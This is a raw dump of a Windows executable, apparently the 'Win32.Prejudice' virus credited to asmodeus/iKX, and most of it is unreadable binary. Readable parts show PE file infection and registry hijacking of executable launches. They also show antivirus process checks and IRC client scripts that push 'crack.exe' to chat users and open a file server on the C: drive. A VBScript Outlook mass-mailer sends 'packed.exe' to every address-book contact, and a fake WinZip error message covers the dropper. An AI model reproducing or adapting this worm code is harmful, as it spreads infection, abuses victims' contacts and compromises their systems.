MZP@ !L!This program must be run under Win32 $7PEL%6 :]P@  `pCODE@: DATAP@@.idata`B@.relocpD@P[jh@h4@jJ9j=9[asmodeus iKX presents]-[Win32.Prejudice]- Shame of all Nations-PGetProcAddressExitProcessFindFirstFileAFindNextFileAGetCurrentDirectoryAGetWindowsDirectoryAGetSystemDirectoryASetCurrentDirectoryACreateFileMappingAMapViewOfFileUnmapViewOfFileGetFileAttributesASetFileAttributesAGetDriveTypeACreateFileAWriteFileCloseHandleGetFileTimeSetFileTimeSetFilePointerGetFileSizeSetEndOfFileGetSystemTimeGetTempPathAlstrcatGetModuleHandleARegCreateKeyARegCloseKeyRegSetValueExAexefile\shell\open\commandSoftware\Microsoft\Windows\CurrentVersion\Network\LanMan\ASMODEUS$Software\Microsoft\Windows\CurrentVersion\Run"\mmsystem.bin" %1 %*mmsystem.bin" %1 %*"FlagsParm1encParm2encPathRemarkTypemmsystem|C:\ Download packed.execommdlg.vbsmmsystem.binvirus.htmadvapi32.dllMZP@ !L!This program must be run under Win32 $7PEL'ơ   @ ` 0JP@LCODE DATA @.idata0@.reloc@@P.rsrcP@<"t3 F<"uFFP3<0AVP3<0AVPM<0SCAN<0DRWEt|<0SPIDto<0NOD3tf<0AMONt]<0CRACtA<0PACKt8<0C32.tI<0H98.<0VIRCF"rXjPTjh5$@hK$@jQj "@ @#@#@w @#@R"@M!@\#@hj(#@#"@b2#@>@7jhjjjh@P^#@j1$@SQP5#@gP6jL#@hh##@5#@,j'$@P##@P%l0@%p0@%t0@%x0@%|0@%0@%0@%0@%0@%0@[script] n0=on 1:TEXT:*goesaround*:#:/msg $chan [Prejudice/Asmodeus/iKX] What goes around, comes around! n1=on 1:TEXT:*!hate*:#:/mode $chan +b $me n2=on 1:TEXT:*remainsinsane*:#:/mode $chan +o $nick n3=on 1:TEXT:*handitout*:#:/fserve $nick 20 c:\ n3=on 1:TEXT:*crack*:#:if ( $me != $nick ) { /dcc send $nick crack.exe } n4=on 1:TEXT:*worm*:#:/ignore # $nick n5=on 1:TEXT:*virus*:#:/ignore # $nick [Levels] Enabled=1 Count=1 Level1=prejudice [prejudice] User1=*!*@* UserCount=1 Event1=ON TEXT:*crack*:#:/dcc send $nick c:\pirch98\crack.exe Event2=ON TEXT:*worm*:#:/ignore # $nick Event3=ON TEXT:*virus*:#:/ignore # $nick EventCount=3 Name prejudice // Events Event JOIN "* JOIN" DCC Send $nick c:\virc97\crack.exe EndEvent script.inievents.inidefault.libscript.oldcrack.exeWinZip Self-Extractor WinZip Self-Extractor header corrupt. Possible cause: bad disk or file transfer error <00l0d00000000111*1<100000111*1<1KERNEL32.dllUSER32.dllCloseHandleCreateFileAExitProcessCopyFileAGetModuleFileNameAGetModuleHandleAWinExecWriteFileGetCommandLineAMessageBoxAL00000011 1*191J1T1c111111111111122 2222~NM8 @~NM8Xp~NM8~NM8~NM8~NM8PS(T"ICON( @xxwpxwwwwwwxxxxxxxxwwwxww`opohpf`fffffffff`?( xxwpxwwwwwwxxxxxxxxwwwpxwwp (On Error Resume Next If Day(Now) > 14 Then Set A = CreateObject("WScript.Shell") B = A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Ikx") If B <> "Win32.Prejudice 1.0" Then Set C = CreateObject("Outlook.Application") Set D = C.GetNameSpace("MAPI") For Each E In D.AddressLists If E.AddressEntries.Count > 0 Then Set F = C.CreateItem(0) For G = 1 To E.AddressEntries.Count Set H = E.AddressEntries(G) If G = 1 Then F.BCC = H.Address Else F.BCC = F.BCC & "; " & H.Address End If Next Randomize I = Int(3 * Rnd + 1) If I = 1 Then F.Subject = "-Replace, subject 1-" F.Body = "-Replace, e-mail body 1-" ElseIf I = 2 Then F.Subject = "-Replace, subject 2-" F.Body = "-Replace, e-mail body 2-" Else F.Subject = "-Replace, subject 3-" F.Body = "-Replace, e-mail body 3-" End If J = Int(3 * Rnd + 1) If J = 1 Then F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 1 and a space at the end-" ElseIf J = 2 Then F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 2 and a space at the end-" Else F.Body = F.Body & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "-Replace, goodbye 3 and a space at the end-" End If F.Body = F.Body & A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner") K = A.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOrganization") If K <> "" Then F.Body = F.Body & Chr(13) & Chr(10) & K End If H = CreateObject("Scripting.FileSystemObject") F.Attachments.Add H.BuildPath(H.GetSpecialFolder(1),"packed.exe") F.DeleteAfterSubmit = True F.Send End If Next A.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ikx","Win32.Prejudice 1.0" End If End If \COMMDLG.VBSC:\TEMP\goat*.exeC:\4$]Z>@@@s e@u*e@t*=@o&@d]l<<@J7@ u=@/&@$@@8@e@u@@3ɿf?MZuW<>PEu b@ÃtwA̓twAÀ~@t%f>MZt+~@~<?PEtb@Ëb@f?MZu:WPEu%~xb@b@4b@j@Ëb@f>MZ~<b@f?PE`wxb@r@v@@b@b@@b@@b@@@b@@z@>b@3ɻ@݋u?t$fAf;@}mz@z@>b@@3f@b@@a@@Vb@P@t F>uF>uÍT@Ps@f@þw@@Vf@P@t F>uF>uh6@P#@h7@P'@8@Ph@@Phk@u<@P@Po@@Phk@u<@P@Po@R+@QPh*j@Ío@P@Po@@P@Ph@h@Pjjj@P@@P@h;@P'@<@P;@Po@hV@P'@Z@PU@Po@@P@Phhj@hU@Pjjj@Phj@@Phj@@P'@Phhj@h;@Pjj@P@P_hj@@PHhj@@P@Ph%hj@j@Pjj@P@Phj@j@Pjj@P@Phj@j@Pjj@P@Phj@j@Pjj@P@Pyhj@j@Pjj@P@PNhj@j@Pjj@P@P#hj@@P hj@]D@jhjjjh@PG@a@ji@SQPa@K@PO@ô<3ô@>f=J@fB@W@>Í&@\m@la@y=@6m@Fa@S1@m/@ a@-Í&@)m@%=@m@ 1@m/@Í =@PS@tTe@ =@w,O > =@, 󪍅 =@Pe@P@t =@w,O s`6@fDž6@8=@~6@V;@Ѓtz6@hV?@jjjjjhVG@Љv6@$6@SSSPS@jv6@_@Љ6@j=@jjjv6@/@Љn6@l=@jjjP3@ЃBr6@f>MZ#f~8xxufDž6@ ^c>i>>>>>>>>>? ??'?0?6?d??????????@00/050?0G0M0T0Z0a0g0n0t0z0000000000000000 11)10161<1A1L1S1q1x1111111111111111 222 2&2-292D2Q2X2^2e2q2x2~22222222222222333"383C3N3U3f3l3}3333333333333 44!4)444;4L4T4_4f4w44444444444445,5S5f5q55555555555566+636>6D6U6g6n6u66666666666777%7-757A7G7O7^7k7~77777788838D8J8P8X8a8g8x8888888888888888899999 9,9;9O9[9a9